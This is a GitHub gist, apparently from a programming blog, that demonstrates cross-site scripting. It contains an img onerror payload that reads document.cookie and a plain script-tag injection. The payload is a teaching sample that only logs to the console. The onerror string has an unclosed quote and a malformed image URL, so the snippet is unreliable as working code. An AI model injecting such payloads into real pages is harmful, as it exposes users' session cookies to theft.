Skip to content

Instantly share code, notes, and snippets.

@camelcaseblog
Last active May 3, 2022 09:23
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save camelcaseblog/500e592e8227bcbea83803300b854d1c to your computer and use it in GitHub Desktop.
Save camelcaseblog/500e592e8227bcbea83803300b854d1c to your computer and use it in GitHub Desktop.
<img
id="xss-image-2"
src="/"
onerror="console.log(document.cookie);
document.querySelector('#xss-image-2').src = 'https://upload.wikimedia.org.wikipedia/commons/c/ca/1x1.png"
/>
<script>console.log("message")</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment